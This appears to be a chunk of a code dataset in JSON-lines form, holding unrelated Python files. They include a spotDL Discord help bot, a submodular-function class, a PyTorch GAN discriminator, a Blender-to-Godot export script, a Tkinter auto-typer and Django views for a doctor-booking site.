`ESCAPE`.\", color=discord.Color.blue())\n embed.add_field(name=\"How to create codeblocks\", value=\"Put three backticks on the line before and after your code. For example:**\\n\\n\\`\\`\\`\\n[paste code here]\\n\\`\\`\\`**\\n\\ncreates\\n```[paste code here]\\n```\")\n await ctx.send(embed=embed)\n\n\n@slash.slash(name=\"pickyoutube\",\n description=\"How do I download a YouTube video with Spotify metadata?\",\n guild_ids=guild_ids)\nasync def pickyoutube(ctx):\n await ctx.send(\"\"\"You can specify specific YouTube videos to download with Spotify metadata, or vice versa.\\nTo do this, use the notation **`spotdl \"YouTubeURL|SpotifyURL\"`**\\nNote that the quote marks (\") are essential.\"\"\")\n\n\n\n\n\n@slash.slash(name=\"rules\",\n description=\"Dev prompts for users to follow the rules.\",\n guild_ids=guild_ids,\n options=[\n create_option(\n name=\"rule\",\n description=\"Which prompt?\",\n option_type=3,\n required=True,\n choices=[\n create_choice(name=\"reply\", value=\"reply\"),\n create_choice(name=\"ping\", value=\"ping\"),\n create_choice(name=\"channel\", value=\"channel\"),\n ]\n )\n ])\nasync def rules(ctx, rule: str):\n if rule == \"reply\":\n msg = \"**Please disable reply pings**\\n\\nOur devs are human as well! Please wait patiently, we will reply as soon as we can.\\nhttps://i.imgur.com/yIxI1RW.png\"\n elif rule == \"ping\":\n msg = \"**Please don't ping devs**\\n\\nOur devs are human as well! Please wait patiently, we will reply as soon as we can.\"\n elif rule == \"channel\":\n msg = \"**Please don't spam your issue across channels**\\n\\nOur devs are human as well! Please wait patiently, we will reply as soon as we can.\"\n\n await ctx.send(msg)\n\n\n\n@slash.slash(name=\"admin\",\n description=\"Administration Commands\",\n guild_ids=guild_ids,\n default_permission=False,\n )\n@slash.permission(guild_id=771628785447337985,\n permissions=[\n create_permission(153001361120690176, SlashCommandPermissionType.USER, True)\n ])\nasync def admin(ctx):\n if maintenance is False:\n admin_action_row = create_actionrow(\n create_button(style=ButtonStyle.red, label=\"Shutdown Bot\", custom_id=\"shutdown\"),\n create_button(style=ButtonStyle.blue, label=\"Restart Bot\", custom_id=\"restart\"),\n create_button(style=ButtonStyle.gray, label=\"VPS Info\", custom_id=\"vps\"),\n create_button(style=ButtonStyle.red, label=\"Enable Maintenance Mode\", custom_id=\"maintenance_on\"),\n )\n elif maintenance is True:\n admin_action_row = create_actionrow(\n create_button(style=ButtonStyle.red, label=\"Shutdown Bot\", custom_id=\"shutdown\"),\n create_button(style=ButtonStyle.blue, label=\"Restart Bot\", custom_id=\"restart\"),\n create_button(style=ButtonStyle.gray, label=\"VPS Info\", custom_id=\"vps\"),\n create_button(style=ButtonStyle.green, label=\"Disable Maintenance Mode\", custom_id=\"maintenance_off\"),\n )\n await ctx.send(content=\"Administration Controls\", components=[admin_action_row])\n\n\n@client.event\nasync def on_component(ctx: ComponentContext):\n global maintenance\n if ctx.author_id != 153001361120690176:\n await ctx.send(content=\"You don't have permission to do this!\", hidden=True)\n\n elif ctx.custom_id == \"shutdown\":\n print(\"Shutting down bot from shutdown command...\")\n await ctx.edit_origin(content=\"Shutting down bot...\", components=None)\n await client.close()\n\n elif ctx.custom_id == \"restart\":\n print(\"Restarting bot from restart command...\")\n await ctx.edit_origin(content=\"Restarting bot...\", components=None)\n print(\"\\n\\n\\n\\n\\n\\n\")\n os.execv(sys.executable, ['python'] + sys.argv)\n\n elif ctx.custom_id == \"vps\":\n embed = discord.Embed(title=\"Bot VPS Info\", color=discord.Color.blue())\n embed.add_field(name=\"CPU Usage\", value=str(psutil.cpu_percent()) + \"%\")\n embed.add_field(name=\"RAM Usage\", value=str(psutil.virtual_memory().percent) + \"%\")\n await ctx.edit_origin(embed=embed, components=None)\n\n elif ctx.custom_id == \"maintenance_on\":\n maintenance = True\n await ctx.edit_origin(content=\"Maintenance Mode Enabled...\", components=None)\n await client.change_presence(activity=discord.Activity(type=discord.ActivityType.listening, name=\"to maintenance mode\"))\n\n elif ctx.custom_id == \"maintenance_off\":\n maintenance = False\n await ctx.edit_origin(content=\"Maintenance Mode Disabled...\", components=None)\n await client.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=\"over spotDL\"))\n\n\n\n\nstaff_ping = \"\"\"I have detected that you pinged the Moderation team!\nPlease note that this is ONLY for moderation purposes, and should not be used for spotDL assistance.\nThe moderation team may not be able to assist you. Please refer to <#796939712828801074>, <#797661959037780019> and if you need to, <#796571887635267614>\n**Remember our teams are human as well! Please wait patiently, we will reply as soon as we can.**\"\"\"\n\n\n@client.event\nasync def on_message(message):\n if message.author != client.user: # Only respond if the message's author is NOT the running bot.\n if \"dll load failed\" in message.content.lower():\n await message.reply(\"On Windows? You need to install Visual C++ 2019 redistributable\\nhttps://docs.microsoft.com/en-US/cpp/windows/latest-supported-vc-redist\")\n elif \"unable to get audio stream\" in message.content.lower():\n await message.reply(\"On OSX? You need to install SSL certificates\\nNavigate to `Applications/Python 3.9`, and double click `Install Certificates.command`\\n(Change 3.9 to relevant version number)\")\n elif \"could not match any of the results on youtube\" in message.content.lower():\n await message.reply(\"**YouTube Music must be available in your country for spotDL to work. This is because we use YouTube Music to filter search results. You can check if YouTube Music is available in your country, by visiting YouTube Music.** \")\n elif \"&dl_branch=1\" in message.content.lower():\n await message.reply(\"**You must remove `&dl_branch=1` from URLs, since the `&` is a control operator in terminal**\")\n elif \"<@&798504444534587412>\" in message.content.lower():\n await message.add_reaction(\"\\U0001F6A8\") # 🚨\n await message.add_reaction(\"<:ping:896186295771095040>\") # Pinged emoji\n await message.reply(staff_ping)\n elif \"'spotdl' is not recognized\" in message.content.lower():\n msg = \"You need to install Python from \\n\\nEnsure to add to PATH when installing:\\nhttps://i.imgur.com/jWq5EnV.png\"\n await message.reply(f\"**Python/(site packages) is not added to PATH correctly.**\\n{msg} \")\n elif \"error: http error 410: gone\" in message.content.lower():\n await message.reply(\"This error has been patched. Update spotDL - `pip install -U --force spotdl`\")\n\n\n\nif __name__ == \"__main__\":\n client.run(discord_token)\n","sub_path":"spotdl.py","file_name":"spotdl.py","file_ext":"py","file_size_in_byte":24487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"550877503","text":"# facilityLocationVariantMutualInformation.py\n# Author: Vishal Kaushal \nimport numpy as np\nimport scipy\nfrom .setFunction import SetFunction\nimport submodlib_cpp as subcp\nfrom submodlib_cpp import FacilityLocationVariantMutualInformation \nfrom submodlib.helper import create_kernel\n\nclass FacilityLocationVariantMutualInformationFunction(SetFunction):\n\t\"\"\"Implementation of the FacilityLocationVariantMutualInformation function.\n\n\tFacilityLocationVariantMutualInformation models diversity by computing the sum of pairwise distances of all the elements in a subset. It is defined as\n\n\t.. math::\n\t\t\tf(X) = \\\\sum_{i, j \\\\in X} (1 - s_{ij})\n\n\tParameters\n\t----------\n\n\tn : int\n\t\tNumber of elements in the ground set\n\t\n\tsijs : list, optional\n\t\tSimilarity matrix to be used for getting :math:`s_{ij}` entries as defined above. When not provided, it is computed based on the following additional parameters\n\n\tdata : list, optional\n\t\tData matrix which will be used for computing the similarity matrix\n\n\tmetric : str, optional\n\t\tSimilarity metric to be used for computing the similarity matrix\n\t\n\tn_neighbors : int, optional\n\t\tWhile constructing similarity matrix, number of nearest neighbors whose similarity values will be kept resulting in a sparse similarity matrix for computation speed up (at the cost of accuracy)\n\t\n\t\"\"\"\n\n\tdef __init__(self, n, num_queries, query_sijs=None, imageData=None, queryData=None, metric=\"cosine\", magnificationLambda=1):\n\t\tself.n = n\n\t\tself.num_queries = num_queries\n\t\tself.metric = metric\n\t\tself.query_sijs = query_sijs\n\t\tself.imageData = imageData\n\t\tself.queryData = queryData\n\t\tself.magnificationLambda=magnificationLambda\n\t\tself.cpp_obj = None\n\t\tself.cpp_query_sijs = None\n\t\tself.cpp_content = None\n\t\tself.effective_ground = None\n\n\t\tif self.n <= 0:\n\t\t\traise Exception(\"ERROR: Number of elements in ground set must be positive\")\n\n\t\tif self.num_queries < 0:\n\t\t\traise Exception(\"ERROR: Number of queries must be >= 0\")\n\n\t\tif self.metric not in ['euclidean', 'cosine']:\n\t\t\traise Exception(\"ERROR: Unsupported metric. Must be 'euclidean' or 'cosine'\")\n\n\t\tif type(self.query_sijs) != type(None): # User has provided query kernel\n\t\t\tif type(self.query_sijs) != np.ndarray:\n\t\t\t\traise Exception(\"Invalid query kernel type provided, must be ndarray\")\n\t\t\tif np.shape(self.query_sijs)[0]!=self.n or np.shape(self.query_sijs)[1]!=self.num_queries:\n\t\t\t\traise Exception(\"ERROR: Query Kernel should be n X num_queries\")\n\t\t\tif (type(self.imageData) != type(None)) or (type(self.queryData) != type(None)):\n\t\t\t\tprint(\"WARNING: similarity query kernel found. Provided image and query data matrices will be ignored.\")\n\t\telse: #similarity query kernel has not been provided\n\t\t\tif (type(self.imageData) == type(None)) or (type(self.queryData) == type(None)):\n\t\t\t\traise Exception(\"Since query kernel is not provided, data matrices are a must\")\n\t\t\tif np.shape(self.imageData)[0]!=self.n:\n\t\t\t\traise Exception(\"ERROR: Inconsistentcy between n and no of examples in the given image data matrix\")\n\t\t\tif np.shape(self.queryData)[0]!=self.num_queries:\n\t\t\t\traise Exception(\"ERROR: Inconsistentcy between num_queries and no of examples in the given query data matrix\")\n\t\t\t\n\t\t #construct queryKernel\n\t\t\tself.query_sijs = np.array(subcp.create_kernel_NS(self.queryData.tolist(),self.imageData.tolist(), self.metric))\n\t\t\n\t\t#Breaking similarity matrix to simpler native data structures for implicit pybind11 binding\n\t\tself.cpp_query_sijs = self.query_sijs.tolist() #break numpy ndarray to native list of list datastructure\n\t\t\n\t\tif type(self.cpp_query_sijs[0])==int or type(self.cpp_query_sijs[0])==float: #Its critical that we pass a list of list to pybind11\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#This condition ensures the same in case of a 1D numpy array (for 1x1 sim matrix)\n\t\t\tl=[]\n\t\t\tl.append(self.cpp_query_sijs)\n\t\t\tself.cpp_query_sijs=l\n\n\t\tself.cpp_obj = FacilityLocationVariantMutualInformation(self.n, self.num_queries, self.cpp_query_sijs, self.magnificationLambda)\n\t\tself.effective_ground = set(range(n))\n\n\t","sub_path":"submodlib/functions/facilityLocationVariantMutualInformation.py","file_name":"facilityLocationVariantMutualInformation.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"537138958","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom data_loader_for_unified_cyclegan import hair_color_list\n\nBATCH_SIZE = 1\n\nclass ConvolutionDown(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size):\n super(ConvolutionDown, self).__init__()\n\n # self.drop_out = nn.Dropout2d(p=0.2)\n self.conv = nn.Conv2d(in_channels=in_channels, out_channels=out_channels,\n kernel_size=3, padding=1, stride=1, bias=True)\n\n # weight initialization\n torch.nn.init.xavier_uniform(self.conv.weight)\n\n self.batch_norm = nn.BatchNorm2d(out_channels)\n\n def forward(self, x):\n # x = F.max_pool2d(input=x, kernel_size=2)\n # x = self.drop_out(x)\n x = F.relu(self.conv(x))\n x = self.batch_norm(x)\n \n # added\n x = F.max_pool2d(input=x, kernel_size=2)\n\n return x\n\nclass Discriminator(nn.Module):\n def __init__(self):\n \"\"\"\n In the constructor we instantiate our custom modules and assign them as\n member variables.\n \"\"\"\n super(Discriminator, self).__init__()\n\n # input image will have the size of 64x64x3\n #self.first_conv_layer = ConvolutionDown(in_channels=3+len(hair_color_list), out_channels=32, kernel_size=3)\n self.first_conv_layer = ConvolutionDown(in_channels=3, out_channels=128, kernel_size=3)\n self.second_conv_layer = ConvolutionDown(in_channels=128, out_channels=256, kernel_size=3)\n self.third_conv_layer = ConvolutionDown(in_channels=256, out_channels=512, kernel_size=3)\n self.fourth_conv_layer = ConvolutionDown(in_channels=512, out_channels=1024, kernel_size=3)\n self.fifth_conv_layer = ConvolutionDown(in_channels=1024, out_channels=1024, kernel_size=3)\n self.last_conv_layer = ConvolutionDown(in_channels=1024, out_channels=10, kernel_size=3)\n \n # auxiliary classifier (for 9 colors)\n self.fc_aux = nn.Linear(4 * 4 * 10, 9)\n \n # real/fake\n self.fc_disc = nn.Linear(4 * 4 * 10, 1)\n\n def forward(self, x):\n \"\"\"\n In the forward function we accept a Variable of input data and we must return\n a Variable of output data. We can use Modules defined in the constructor as\n well as arbitrary operators on Variables.\n \"\"\"\n\n x = self.first_conv_layer(x)\n x = self.second_conv_layer(x)\n x = self.third_conv_layer(x)\n x = self.fourth_conv_layer(x)\n x = self.fifth_conv_layer(x)\n x = self.last_conv_layer(x)\n \n # auxiliary classifier branch (for 9 colors)\n x = x.view(BATCH_SIZE, 4 * 4 * 10)\n x_aux = F.relu(self.fc_aux(x))\n class_out = nn.functional.softmax(x_aux)\n \n #print 'class_out =', class_out\n \n x_disc = F.relu(self.fc_disc(x))\n disc_out = nn.functional.sigmoid(x_disc)\n \n #print 'disc_out =', disc_out\n\n return disc_out, class_out\n","sub_path":"PyTorch-practice/cyclegan_for_unified_hair_dyeing_acgan/discriminator_network.py","file_name":"discriminator_network.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"238786886","text":"import bpy\nimport os\nimport sys\nimport traceback\nimport json\n\n\ndef export_escn(out_file, config):\n import io_scene_godot\n io_scene_godot.export(out_file, config)\n\n\ndef export_blend(item_path, out_path):\n bpy.ops.wm.open_mainfile(filepath=item_path)\n config_file = item_path.replace('.blend', '.json')\n if os.path.exists(config_file):\n with open(config_file) as config_json:\n config = json.load(config_json)\n else:\n config = {'object_types': {'EMPTY', 'LAMP', 'ARMATURE', 'MESH'}}\n\n print(\"Exporting {}\".format(item_path))\n bpy.ops.wm.open_mainfile(filepath=item_path)\n export_escn(out_path, config)\n print(\"Exported to {}\".format(out_path))\n\n\ndef main():\n import argparse\n\n argv = sys.argv\n\n if \"--\" not in argv:\n argv = []\n else:\n argv = argv[argv.index(\"--\") + 1:]\n\n usage_text = (\n \"Run blender in background mode with this script:\"\n \" blender -b --python \" + __file__ + \" -- [options]\"\n )\n\n parser = argparse.ArgumentParser(description=usage_text)\n parser.add_argument(\n \"-i\", \"--blend_file\", dest=\"blend\", metavar='FILE',\n help=\"The blend file to export to Godot\"\n )\n parser.add_argument(\n \"-o\", \"--escn_file\", dest=\"escn\", metavar='FILE',\n help=\"The Godot file to export to\"\n )\n args = parser.parse_args(argv)\n\n # If no arguments then process all blends recursively\n if not argv:\n dir_queue = list()\n dir_queue.append('.')\n while dir_queue:\n dir_relpath = dir_queue.pop(0)\n for item in os.listdir(os.path.join(os.getcwd(), dir_relpath)):\n item_path = os.path.join(os.getcwd(), dir_relpath, item)\n if os.path.isdir(item_path):\n dir_queue.append(os.path.join(dir_relpath, item))\n elif item_path.endswith('blend'):\n out_path = item_path.replace('.blend', '.escn')\n export_blend(item_path, out_path)\n return\n\n # Check we got good arguments if passed\n if not args.blend or not args.escn:\n print(\"Error: --blend_file= --escn_file= arguments not given, aborting.\")\n parser.print_help()\n return\n export_blend(args.blend, args.escn)\n print(\"Export completed\")\n\n\ndef run_with_abort(function):\n try:\n function()\n except:\n traceback.print_exc()\n exit(1)\n\nif __name__ == \"__main__\":\n run_with_abort(main)\n","sub_path":"assets/export_scenes.py","file_name":"export_scenes.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"71203160","text":"from tkinter import * # pylint: disable=unused-wildcard-import\r\nimport getpass\r\nimport zipfile\r\nimport os\r\nimport time\r\nfrom pynput.keyboard import Key, Controller\r\n\r\nclass Application:\r\n def __init__(self):\r\n self.space = \" \"\r\n self.ui_init()\r\n self.ui_props()\r\n self.ui_add()\r\n self.keyboard = Controller()\r\n\r\n def function_copy(self):\r\n os.system(\"press_mouse.exe\")\r\n time.sleep(1)\r\n self.keyboard.type(self.a1)\r\n def function_copyII(self):\r\n os.system(\"press_mouse.exe\")\r\n time.sleep(1)\r\n self.pageC = self.pageCEntry.get()\r\n self.keyboard.type(self.a2.format(self.pageC))\r\n def function_copyIII(self):\r\n os.system(\"press_mouse.exe\")\r\n time.sleep(1)\r\n self.pageE = self.pageEEntry.get()\r\n self.keyboard.type(self.a3.format(self.pageE))\r\n def function_aufgabe(self):\r\n os.system(\"press_mouse.exe\")\r\n time.sleep(1)\r\n self.book = self.bookEntry.get()\r\n self.pageSA = self.bookPageEntry.get()\r\n self.A = self.bookAufgabeEntry.get()\r\n self.keyboard.type(self.a4.format(self.book, self.pageSA, self.A))\r\n\r\n\r\n def ui_init(self): #Initialize Widgets\r\n self.pageC = \"\"\r\n self.pageE = \"\"\r\n self.pageSA = \"\"\r\n self.A = \"\"\r\n self.book = \"\"\r\n self.a1 = \"Αντιγραφή λαθών ορθογραφίας\"\r\n self.a2 = \"Λέξεις σελ. {}\"\r\n self.a3 = \"Επανάληψη σελ. {}\"\r\n self.a4 = \"Ασκήσεις στο {} S.{}, Aufgabe {}\"\r\n\r\n self.copy = Button(root)\r\n self.pageCLabel = Label(root)\r\n self.pageCEntry = Entry(root)\r\n self.words = Button(root)\r\n self.pageELabel = Label(root)\r\n self.pageEEntry = Entry(root)\r\n self.words2 = Button(root)\r\n self.bookLabel = Label(root)\r\n self.bookEntry = Entry(root)\r\n self.bookPageLabel = Label(root)\r\n self.bookPageEntry = Entry(root)\r\n self.bookAufgabeLabel = Label(root)\r\n self.bookAufgabeEntry = Entry(root)\r\n self.bookAufgabeButton = Button(root)\r\n\r\n def ui_props(self): #Properties\r\n self.copy.config(text='Αντιγραφή λαθών ορθογραφίας')\r\n self.copy.config(font=(\"Roboto-Medium\", 10))\r\n self.pageCLabel.config(text='Λέξεις Σελίδα: ')\r\n self.pageCEntry.config(font=(\"Roboto-Medium\", 10))\r\n self.words.config(text='Λέξεις')\r\n self.words.config(font=(\"Roboto-Medium\", 10))\r\n self.pageELabel.config(text='Επανάληψη Σελίδα: ')\r\n self.pageEEntry.config(font=(\"Roboto-Medium\", 10))\r\n self.words2.config(text='Επανάληψη')\r\n self.words2.config(font=(\"Roboto-Medium\", 10))\r\n self.bookLabel.config(text='Βιβλίο: ')\r\n self.bookLabel.config(font=(\"Roboto-Medium\", 10))\r\n self.bookPageLabel.config(text='Σελίδα για ασκήσεις: ')\r\n self.bookPageLabel.config(font=(\"Roboto-Medium\", 10))\r\n self.bookAufgabeLabel.config(text='Ασκήσεις: ')\r\n self.bookAufgabeLabel.config(font=(\"Roboto-Medium\", 10))\r\n self.bookAufgabeButton.config(text='Ασκήσεις')\r\n self.bookAufgabeButton.config(font=(\"Roboto-Medium\", 10))\r\n self.copy.config(command=self.function_copy)\r\n self.words.config(command=self.function_copyII)\r\n self.words2.config(command=self.function_copyIII)\r\n self.bookAufgabeButton.config(command=self.function_aufgabe)\r\n\r\n\r\n def ui_add(self): #Add Widgets\r\n self.copy.pack()\r\n self.pageCLabel.pack()\r\n self.pageCEntry.pack()\r\n self.words.pack()\r\n self.pageELabel.pack()\r\n self.pageEEntry.pack()\r\n self.words2.pack()\r\n self.bookLabel.pack()\r\n self.bookEntry.pack()\r\n self.bookPageLabel.pack()\r\n self.bookPageEntry.pack()\r\n self.bookAufgabeLabel.pack()\r\n self.bookAufgabeEntry.pack()\r\n self.bookAufgabeButton.pack()\r\n\r\nroot = Tk()\r\nroot.title(\"Auto Type\")\r\nroot.geometry(\"800x400\")\r\nApplication = Application()\r\nroot.mainloop()\r\n","sub_path":"auto_type.py","file_name":"auto_type.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"523121454","text":"class Miscellaneous():\n\tdef printcmatrix(cmatrix):\n\n\t\tp = \"positive\"\n\t\tn = \"negative\"\n\n\t\tcmatrix.insert(0, [\"\", p, n])\n\t\tcmatrix[1].insert(0, p)\n\t\tcmatrix[2].insert(0, n)\n\n\t\ts = [[str(e) for e in row] for row in cmatrix]\n\t\tlens = [max(map(len, col)) for col in zip(*s)]\n\t\tfmt = \"\\t\".join('{{:{}}}'.format(x) for x in lens)\n\t\ttable = [fmt.format(*row) for row in s]\n\n\t\tprint(\"\\n\".join(table))","sub_path":"nn-work/Neuron/miscellaneous.py","file_name":"miscellaneous.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"48556326","text":"# Definition for an interval.\n# class Interval(object):\n# def __init__(self, s=0, e=0):\n# self.start = s\n# self.end = e\n\nclass Solution(object):\n def eraseOverlapIntervals(self, intervals):\n \"\"\"\n :type intervals: List[Interval]\n :rtype: int\n \"\"\"\n # start coding at 5:16\n intervals = sorted(intervals, key = lambda x : x.start);\n \n last = -0x7fffffff;\n ans = 0;\n \n for i in intervals:\n if last <= i.start:\n last = i.end;\n else:\n last = min(last, i.end);\n ans += 1;\n \n return ans;\n # first submit at 5:21 and pass","sub_path":"401-500/431-440/py/435_non_overlapping_intervals.py","file_name":"435_non_overlapping_intervals.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"48753691","text":"from django.shortcuts import render, get_object_or_404\nfrom main.utils import get_object_or_none\nfrom django.http import HttpResponse, HttpResponseNotFound\nfrom .models import *\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.models import Group\nimport json\nfrom django.core.serializers.json import DjangoJSONEncoder\nfrom django.http import JsonResponse\nfrom django.core import serializers\nimport operator \nfrom .recommendation import *\nimport numpy as np\nimport math\nfrom collections import OrderedDict \nfrom .recommendation import *\n\ndef Doctor_Details(request,NN):\n # AI recommendation functions call \n Save_All_Doctors_In_Recommendation_Data_Base(NN)\n current_doctor_data = Return_Doctor_Details_For_Recommendation(NN)\n KNN_List = main(current_doctor_data)\n KNN_List_Cleared = []\n counter = 0 \n addresses= []\n rates = [] \n fees = []\n bookings = []\n titles= []\n images=[]\n for i in KNN_List:\n if KNN_List[counter] == None :\n counter += 1 \n else:\n KNN_List_Cleared.append(KNN_List[counter])\n nn = KNN_List[counter].physician_nn\n instance = get_object_or_404(Physician, physician_nn=nn)\n if PhysicianClinicWorkingTime.objects.filter(physician_nn=instance):\n obj = PhysicianClinicWorkingTime.objects.filter(physician_nn=instance)\n clinic = obj[0].clinic.clinic.institution_id\n instance_clinic = MedicalInstitutions.objects.filter(institution_id=clinic)\n addresss = instance_clinic[0].get_address\n addresses.append(addresss[0].address)\n # addresses.append(instance_clinic)\n else :\n addresses.append(None)\n obj = PhysicianRecommendation.objects.filter(physician_nn=instance)\n print(obj)\n rate = obj[0].rating \n fee = obj[0].fee\n fees.append(fee) \n booking = obj[0].booking_count\n bookings.append(booking) \n rates.append(rate)\n physician= Physician.objects.filter(physician_nn=instance) \n title = physician[0].title\n titles.append(title)\n stakeholder = Stakeholders.objects.filter(national_number=instance)\n image = stakeholder[0].image\n images.append(image)\n counter += 1\n # dictOf_KNN_Cleared = { i : KNN_List_Cleared[i] for i in range(0, len(KNN_List_Cleared) ) }\n full_list = zip(KNN_List_Cleared,addresses,rates,fees,bookings,titles,images)\n print(KNN_List_Cleared,addresses,rates,fees,bookings,titles,images)\n\n # ************************************************************ #\n if request.is_ajax() and request.method == 'GET':\n # handle visit location\n get_medical_institution_id = request.GET.get('code')\n medical_institution_address = MedicalInstitutionsAddress.objects.filter(institution=get_medical_institution_id)\n address = []\n for i in medical_institution_address :\n address.append(i.address) \n dictOfWords = { i : address[i] for i in range(0, len(address) ) } \n # handle location fee\n # clinic \n fee=[]\n if PhysicianClinicWorkingTime.objects.filter(clinic=get_medical_institution_id):\n clinicFee = PhysicianClinicWorkingTime.objects.filter(clinic=get_medical_institution_id)\n for i in clinicFee :\n fee.append(i.fee) \n dictOfFee = { i : fee[i] for i in range(0, len(fee) ) }\n max_1 = max(dictOfFee.items(), key=operator.itemgetter(1))[0]\n fee = {'fees':dictOfFee[max_1]}\n dictOfWords.update(fee)\n\n # hospital \n if PhysicianHospitalWorkingTime.objects.filter(hospital=get_medical_institution_id):\n hospitalFee = PhysicianHospitalWorkingTime.objects.filter(hospital=get_medical_institution_id)\n for i in hospitalFee :\n fee.append(i.fee) \n dictOfFee = { i : fee[i] for i in range(0, len(fee) ) }\n max_1 = max(dictOfFee.items(), key=operator.itemgetter(1))[0]\n fee = {'fees':dictOfFee[max_1]} \n dictOfWords.update(fee) \n # handle phones of clinic and hospital\n phone=[]\n if MedicalInstitutionsPhone.objects.filter(institution=get_medical_institution_id):\n medical_institution_phone = MedicalInstitutionsPhone.objects.filter(institution=get_medical_institution_id)\n for i in medical_institution_phone :\n phone.append(i.phone) \n dictOfPhones= { i : phone[i] for i in range(0, len(phone) ) }\n phone_final = {'phone':dictOfPhones[0]}\n dictOfWords.update(phone_final)\n # handle location mail\n # clinic \n mail=[]\n if Clinic.objects.filter(clinic=get_medical_institution_id):\n clinicMail = Clinic.objects.filter(clinic=get_medical_institution_id)\n for i in clinicMail :\n mail.append(i.email) \n dictOfMail = { i : mail[i] for i in range(0, len(mail) ) }\n mail = {'mail':dictOfMail[0]}\n dictOfWords.update(mail)\n\n # hospital \n if Hospital.objects.filter(hospital=get_medical_institution_id):\n hospitalMail = Hospital.objects.filter(hospital=get_medical_institution_id)\n for i in hospitalMail :\n mail.append(i.email) \n dictOfMail = { i : mail[i] for i in range(0, len(mail) ) }\n mail = {'mail':dictOfMail[0]} \n dictOfWords.update(mail) \n\n # handle jason send whole data \n return JsonResponse(dictOfWords,safe= False)\n\n doctor = get_object_or_404(Physician, physician_nn=NN)\n #handle clinicworkingtime\n physicianclinicworkingtime = PhysicianClinicWorkingTime.objects.filter(physician_nn=NN)\n clinic_id = None\n clinic = None\n if physicianclinicworkingtime[1:] :\n for clinic in physicianclinicworkingtime[1:] :\n first_clinic=clinic.clinic\n clinic_id = first_clinic.clinic\n clinic =get_object_or_404(Clinic, clinic=clinic_id)\n else: \n pass\n #handle hospitalworkingtime\n physicianhospitalworkingtime = PhysicianHospitalWorkingTime.objects.filter(physician_nn=NN)\n hospital_id = None\n hospital = None\n if physicianclinicworkingtime[1:] :\n for hospital in physicianhospitalworkingtime[1:] :\n first_hospital=hospital.hospital\n hospital_id = first_hospital.hospital\n hospital = get_object_or_404(Hospital, hospital=hospital_id)\n else:\n pass \n stakeholder = get_object_or_404(Stakeholders, national_number=NN)\n #handle rating\n physicianrating = None\n physicianratingcount = \"no\"\n if PhysicianRating.objects.filter(physician_nn=NN):\n physicianrating = PhysicianRating.objects.filter(physician_nn=NN)\n physicianratingcount =PhysicianRating.objects.filter(physician_nn=NN).count()\n #handle user as patient\n patient = request.user\n stakeholder_user = get_object_or_404(Stakeholders, national_number=patient)\n patient_nn = get_object_or_404(Patient, patient_nn=stakeholder_user)\n context = {\n \"doctor\": doctor,\n 'stakeholder': stakeholder,\n 'physicianclinicworkingtime':physicianclinicworkingtime,\n 'physicianhospitalworkingtime':physicianhospitalworkingtime,\n 'clinic':clinic,\n 'hospital':hospital,\n 'physicianrating':physicianrating,\n 'physicianratingcount':physicianratingcount,\n 'stakeholder_user':stakeholder_user,\n #********************** AI recommendation variables **********************\n 'KNN_List':full_list,\n # 'addresses':addresses,\n # 'rates' :rates ,\n # 'fees' : fees,\n # 'bookings': bookings ,\n # 'titles': titles,\n # 'images':images\n }\n \n if request.method == 'POST' and request.is_ajax() :\n # handel if review ---------------------------------------\n if 'patient_comment_js' in request.POST:\n current_rate = request.POST['rate_js']\n comment = request.POST['patient_comment_js']\n patient_nn_js = request.POST['patient_nn_js']\n patient_nn_js = request.POST['physician_nn_js']\t\t\n if patient_nn_js :\n rate = PhysicianRating.objects.filter(patient_nn=patient_nn_js).update(rate=current_rate)\t\n if current_rate :\n user_rating = PhysicianRating.objects.create(\n patient_nn=patient_nn,\n physician_nn = doctor,\n patient_comment = comment,\n rate = current_rate,\n )\n return HttpResponse()\n # if booking ---------------------------------------\t\n if request.method == 'POST' and request.is_ajax():\n if 'message' in request.POST: \n message = request.POST.get('message'),\n if message:\n booking = PhysicianPatientBooking.objects.create(\n patient_nn = patient_nn,\n physician_nn =doctor,\n booking_date_clinic = \"2020-02-25\",\n booking_date_hospital = \"2020-02-25\",\n clinic = clinic,\n hospital = hospital,\n phone = request.POST.get('phone'),\n email = request.POST.get('email'),\n message = message,\n )\n\n return HttpResponse()\n\n return render(request, 'vezeeta/doctor/Doctor_Details.html',context)\n\n\n\n\n\ndef Clinic_Details(request,id):\n\n if request.is_ajax() and request.method == 'GET':\n # handle clinic fee\n dictOfWords = {}\n get_physician_nn = request.GET.get('code')\n fee=[]\n if PhysicianClinicWorkingTime.objects.filter(physician_nn=get_physician_nn):\n clinicFee = PhysicianClinicWorkingTime.objects.filter(physician_nn=get_physician_nn)\n for i in clinicFee :\n fee.append(i.fee) \n dictOfFee = { i : fee[i] for i in range(0, len(fee) ) }\n max_1 = max(dictOfFee.items(), key=operator.itemgetter(1))[0]\n fee = {'fees':dictOfFee[max_1]}\n dictOfWords.update(fee)\n\n return JsonResponse(dictOfWords,safe= False)\n\n\n clinic =get_object_or_404(Clinic, clinic=id)\n medicalinstitution = get_object_or_404(MedicalInstitutions, institution_id=id)\n #handle rating\n clinicrating= None \n clinicratingcount = \"No\"\n if ClinicRating.objects.filter(clinic=id):\n clinicrating = ClinicRating.objects.filter(clinic=id)\n clinicratingcount = ClinicRating.objects.filter(clinic=id).count()\n #handle user as patient\t\n patient = request.user\n stakeholder_user = get_object_or_404(Stakeholders, national_number=patient)\n patient_nn = get_object_or_404(Patient, 